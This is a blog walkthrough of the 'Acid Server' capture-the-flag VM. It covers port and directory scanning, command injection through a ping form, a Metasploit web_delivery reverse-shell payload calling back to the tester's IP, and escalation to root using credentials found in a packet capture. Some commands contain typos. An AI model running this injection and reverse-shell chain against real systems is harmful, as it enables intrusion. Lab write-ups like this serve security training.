Chuyển đến nội dung chính

Hack the Acid VM (CTF Challenge)

The name of the Virtual machine is “Acid Server” that we are going to crack.  It is an Boot2Root Vm that we are going to solve. This is a web-based VM. Our main goal is to escalate the privileges to root and capture the flag.
WalkThrough
As always start by finding the target.
netdiscover

Our target is 192.168.0.105. Now fire up nmap to scan the ports.
nmap –p- -A 192.168.0.105

Nmap results in showing that there is only one port open i.e. 33447 with the services of HTTP. Please observe here that port 80 is not open that means if we want to open this IP in the browser then we have to use the port number as it will not open it by default. So now open the web page using the port number.
There is only a heading and a quote on the page; nothing else but if you look at the tab on the browser, it says “/Challenge”. This can be a directory. Let’s open it.
Upon opening /Challenge, a log in portal will open. Let’s learn more about /Challenge by using DirBuster. Copy the link from the browser in Target URL box and then select 2.3-meduim word list in Files with the list of dirs/files box by clicking on browse button. And then click on Start.
Clicking on start button will provide the list of directories.

I went through every directory but only cake.php was useful. Open it in the browser. When you open cake.php, the page says “ah.haan…There is long way to go..dude J”. But upon looking closely you will find the /Magic_Box is written on the tab. Lets open it in the URL just like before.
When you open the /Magic_Box it says that access to the page is forbidden. OK! There is no problem in that. Let’s use DirBuster on it. Give the URL and 2.3 meduim wordlist just as before and then click on start button.
In the result it will show the name of the directories.

Out of all those command.php is the only one that has proved to be useful. Open it in the URL.

Here you will find a ping portal that means you can ping any IP address from here. Let’s try and ping an IP. (You can ping any IP but I am going to ping the default IP i.e. 127.0.0.1).
Once the ip has been pinged, go to the page source. On the page source you can contemplate that results of ping is showing.
If the page is showing the result that means we can use this portal to inject our virus using web_delivery exploit. And to do so, go to the terminal of Kali an open metasploit by typing msfconsole and then further type :
use exploit/multi/script/web_delivery
set target 1
set payload php/meterpreter/reverse_tcp
set lhost 192.168.0.104
set lport 4444
exploit
This exploit is a multi exploit that means it can used on multiple programs. Therefore, I have set the target as one because 1 refers to php and as we are using php payload we have to set target as 1.
Now performing this exploit will give you a code. Copy this code and paste it on ping portal after the IP that you are using to ping. And to add this code use semi-colon (;).
127.0.0.1; *<code>*
As soon as you click on submit, you will have a meterpreter session in metasploit. When you have the session the type the following commands to reach terminal:
shell
python –c ‘import pty; pty.spwan(“/bin/bash”)’
Further type the following command to see the list of directories:
ls / l
In the list you will find a directory called s.bin. let’s go into the folder and see its list of files and for that type :
cd /s.bin
ls
Here, you will find a php file. Lets read it.
cat invesgitate.php
When you read it, it shows you a message i.e. “now you have to behave like n investigator to catch the culprit”.
In the list of directory that was previously previewed also had a folder sbin. Let’s get into that folder and see the lists of files and to do so type:
cd sbin
ls
In the list of files you can see a file named raw_vs_isi. Let’s check it out.
cd raw_vs_isi
ls
It contains only on file, called hint.pcapng. This is wireshark file and there are many ways to download this file but they are usually very lengthy. So I have used a shortcut. Simply terminate your shell session and go back to meterpreter session
There check where you are currently working and for that type:
pwd
ls
And then type:
Download hint.pcapng /root/Desktop/hint.pcapng

Now the file is downloaded on your desktop. I explored it every packet and found a conversation in the TCP stream of 90th packet. Just right click on the said packet and then click on Follow option and then select TCP stream.
It will open the conversation as shown in the image below:

In the conversation on eof them says “saman and now a days he’s known by the alias of 1337hax0r” that means saman is the usernam and 1337hax0r can be the password. Let’s try it. Type shell again to reach the terminal and here log in with the username we just found:
su saman
1337hax0r
Sudo saman
1337haxor
And so you have entered the root. Now go into the folder root and see what it has to offer:
cd /root
ls
cat flag.txt

Author: Yashika Dhir is a passionate Researcher and Technical Writer at Hacking Articles. She is a hacking enthusiast.

Bài đăng phổ biến từ blog này

Hack the Pentester Lab: from SQL injection to Shell VM

Today we are going to perform penetration testing in another lab, download it from here . Now install the iso image in VM ware and start it. The task given in this lab is to gain access of administration console and upload PHP webshell. Start your Kali Linux then open the terminal and type netdiscover command for scanning network. Here 192.168.0.105 is my target IP which is shown in the screenshot. Then explore this IP in browser When you will open target IP in browser you will get a web page having heading My Awesome Photoblog . On the top of left side it contains some tags: home; test;  ruxcon; 2010; all pictures; admin. Now Click on test . The above URL : http://192.168.1.105/cat.php?id=1 will run query for ID 1 now let try to find out whether the above URL is vulnerable to sql injection or not by adding ‘ at last of URL: http://192.168.1.105/cat.php?id=1 ’ . And I have got a message of sql error. It confirms that this web page is suffering from sql vulnerability. Now ...

Metasploitable 2 vulnerability assessment

A vulnerability assessment is a crucial part in every penetration test and is the process of identifying and assessing vulnerabilities on a target system. In this part of the tutorial we will be assessing the vulnerabilities available on the network side of the Metasploitable 2 virtual machine. We will be assessing the web applications on the Metasploitable 2 machine in a later tutorial. In the previous Metasploit enumeration and fingerprinting tutorial we’ve learned that the Metasploitable 2 machine contains a lot of vulnerabilities. We have collected valuable information about the target system which we will be using to find known vulnerabilities both on- and offline. Exploitation of these vulnerabilities will be demonstrated in the next exploitation tutorial. In this tutorial we will be looking at a few different ways to perform vulnerability analysis. We will be manually searching for exploits, use scanning tools like Nmap with scripts and we will be...

10 Security Vulnerabilities That Broke the World Wide Web in 2016

Information security is a subject in cyber-world which we can’t think away anymore. Data breaches can cost millions when sensitive information is leaked on the Internet. Zero-day exploits pop up for sale every day in deep web forums in return for Bitcoins. However, few exploits are disclosed in public domain once the vulnerability is patched by the vendor. This past year, we had over 6400 common vulnerabilities and exposures which were issued a CVE ID. There were few major bug fixes by the vendors serving backbone of the Internet. Here is the list of top 10 security vulnerabilities which came to light this year. 1. Dirty Cow (CVE-2016-5195) Discovered by Phil Oester,  Dirty Cow , is a kernel vulnerability that allows any unprivileged existing user to escalate its privilege to root. Root is the highest privilege on any UNIX or LINUX system, which has access to all the files. This vulnerability is known as privilege escalation. COW (Change on Write) is a technique used by Linux to re...